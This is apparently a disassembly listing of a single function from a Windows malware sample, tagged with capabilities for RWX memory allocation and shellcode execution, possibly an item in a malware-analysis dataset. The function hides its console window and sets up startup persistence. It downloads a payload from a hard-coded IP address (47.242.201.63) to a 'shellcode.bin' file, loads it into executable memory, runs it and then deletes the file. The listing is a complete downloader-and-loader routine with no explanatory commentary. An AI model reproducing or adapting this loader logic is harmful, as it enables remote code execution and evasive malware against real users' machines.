Function at 0x405220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5108b8
mov eax, dword fs:[0]
push eax
sub esp, 0x180
mov eax, dword [0x5623e8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
mov dword [ebp - 0xdc], edi
call section..text
test al, al
jne 0x40526c
call fcn.00405040
test al, al
jne 0x405769
call fcn.00401060
test al, al
jne 0x40528a
push str.Failed_to_set_startup._n
call fcn.004f5d1b
add esp, 4
or eax, 0xffffffff
jmp 0x40576b
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 2
xor eax, eax
mov esi, 7
push 0x51e164
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], edi
mov word [ebp - 0x64], ax
call fcn.00403d80
lea ecx, [ebp - 0x64]
mov ebx, 1
push ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0xdc], ebx
call fcn.00401de0
add esp, 4
test al, al
je 0x405313
push 2
xor edx, edx
push 0x51e15c
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], dx
call fcn.00403d80
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], ebx
mov ebx, 3
push eax
mov dword [ebp - 0xdc], ebx
call fcn.00401de0
add esp, 4
test al, al
je 0x405394
call fcn.00404c90
cmp eax, 6
jl 0x405394
call fcn.00404c90
cmp eax, 3
jne 0x40535a
push 0x51e148
lea ecx, [ebp - 0xd4]
call fcn.004042c0
lea ecx, [ebp - 0xd4]
or ebx, 4
push ecx
mov dword [ebp - 4], 2
mov dword [ebp - 0xdc], ebx
call fcn.00404da0
add esp, 4
test al, al
jne 0x405394
push str.Microsoft_Word_2010.lnk
lea ecx, [ebp - 0xb8]
call fcn.004042c0
lea edx, [ebp - 0xb8]
or ebx, 8
push edx
mov dword [ebp - 4], 3
mov dword [ebp - 0xdc], ebx
call fcn.00404da0
add esp, 4
mov byte [ebp - 0xd5], 0
test al, al
je 0x40539b
mov byte [ebp - 0xd5], 1
test bl, 8
je 0x4053d0
and ebx, 0xfffffff7
cmp dword [ebp - 0xa4], 8
jb 0x4053bb
mov eax, dword [ebp - 0xb8]
push eax
call fcn.004057d2
add esp, 4
xor ecx, ecx
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov word [ebp - 0xb8], cx
test bl, 4
je 0x405405
and ebx, 0xfffffffb
cmp dword [ebp - 0xc0], 8
jb 0x4053f0
mov edx, dword [ebp - 0xd4]
push edx
call fcn.004057d2
add esp, 4
xor eax, eax
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xc4], edi
mov word [ebp - 0xd4], ax
test bl, 2
je 0x40542b
and ebx, 0xfffffffd
cmp dword [ebp - 0x18], 8
jb 0x40541f
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004057d2
add esp, 4
xor edx, edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], dx
mov dword [ebp - 4], 0xffffffff
test bl, 1
je 0x405449
cmp dword [ebp - 0x50], 8
jb 0x405449
mov eax, dword [ebp - 0x64]
push eax
call fcn.004057d2
add esp, 4
cmp byte [ebp - 0xd5], 0
jne 0x405769
xor ecx, ecx
push 0x1f
mov word [ebp - 0x9c], cx
push str.http:__47.242.201.63_123_86.bin
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], edi
call fcn.00403d80
push 1
lea edx, [ebp - 0x9c]
push edx
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 4], 4
call fcn.004049b0
lea ecx, [ebp - 0x64]
push ecx
mov byte [ebp - 4], 5
call fcn.004045b0
push str._shellcode.bin
push eax
lea edx, [ebp - 0x48]
push edx
mov byte [ebp - 4], 6
call fcn.004048b0
add esp, 0x1c
mov ebx, 8
mov byte [ebp - 4], 8
cmp dword [ebp - 0x50], ebx
jb 0x4054d3
mov eax, dword [ebp - 0x64]
push eax
call fcn.004057d2
add esp, 4
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x80]
xor ecx, ecx
push eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], edi
mov word [ebp - 0x64], cx
call fcn.00404ed0
add esp, 8
test al, al
jne 0x405559
push str.Failed_to_download_shellcode._n
call fcn.004f5d1b
add esp, 4
cmp dword [ebp - 0x34], ebx
jb 0x405511
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.004057d2
add esp, 4
xor edx, edx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edi
mov word [ebp - 0x48], dx
cmp dword [ebp - 0x6c], ebx
jb 0x40552e
mov eax, dword [ebp - 0x80]
push eax
call fcn.004057d2
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x70], edi
mov word [ebp - 0x80], cx
cmp dword [ebp - 0x88], ebx
jb 0x405551
mov edx, dword [ebp - 0x9c]
push edx
call fcn.004057d2
add esp, 4
or eax, 0xffffffff
jmp 0x40576b
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x18c]
call fcn.00404680
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ecx + 4]
test byte [ebp + edx - 0x180], 6
mov byte [ebp - 4], 9
je 0x4055df
push str.Failed_to_open_shellcode_file._n
call fcn.004f5d1b
add esp, 4
lea ecx, [ebp - 0x124]
mov byte [ebp - 4], 8
call fcn.00404800
lea eax, [ebp - 0x124]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0050ee80
add esp, 4
lea ecx, [ebp - 0x48]
call fcn.00401e00
lea ecx, [ebp - 0x80]
call fcn.00401e00
lea ecx, [ebp - 0x9c]
call fcn.00401e00
mov eax, 0xfffffffe
jmp 0x40576b
push 2
push edi
push edi
lea ecx, [ebp - 0x18c]
call fcn.004025e0
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.00401320
mov esi, dword [eax + 8]
add esi, dword [eax]
push edi
push edi
push edi
lea ecx, [ebp - 0x18c]
call fcn.004025e0
push esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call fcn.00403af0
push edi
mov edi, dword [ebp - 0x20]
push esi
push edi
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0xa
call fcn.00403450
mov edx, dword [eax]
mov ecx, dword [edx + 4]
test byte [ecx + eax + 0xc], 6
lea ecx, [ebp - 0x18c]
je 0x405697
call fcn.00404310
push str.Failed_to_read_shellcode_from_file._n
call fcn.004f5d1b
add esp, 4
lea ecx, [ebp - 0x20]
call fcn.00402dc0
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 8
call fcn.004051c0
lea ecx, [ebp - 0x48]
call fcn.00401e00
lea ecx, [ebp - 0x80]
call fcn.00401e00
lea ecx, [ebp - 0x9c]
call fcn.00401e00
mov eax, 0xfffffffd
jmp 0x40576b
call fcn.00404310
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4056f6
push str.Failed_to_allocate_memory_for_shellcode._n
call fcn.004f5d1b
add esp, 4
lea ecx, [ebp - 0x20]
call fcn.00402dc0
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 8
call fcn.004051c0
lea ecx, [ebp - 0x48]
call fcn.00401e00
lea ecx, [ebp - 0x80]
call fcn.00401e00
lea ecx, [ebp - 0x9c]
call fcn.00401e00
lea eax, [ebx - 4]
jmp 0x40576b
push esi
push edi
push ebx
call fcn.004f42e0
add esp, 0xc
call ebx
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x34], 8
mov eax, dword [ebp - 0x48]
jae 0x40571d
lea eax, [ebp - 0x48]
push eax
call fcn.004f5dd8
add esp, 4
test eax, eax
je 0x405737
push str.Failed_to_delete_shellcode_file._n
call fcn.004f5d1b
add esp, 4
lea ecx, [ebp - 0x20]
call fcn.00402dc0
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 8
call fcn.004051c0
lea ecx, [ebp - 0x48]
call fcn.00401e00
lea ecx, [ebp - 0x80]
call fcn.00401e00
lea ecx, [ebp - 0x9c]
call fcn.00401e00
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f42c5
mov esp, ebp
pop ebp
ret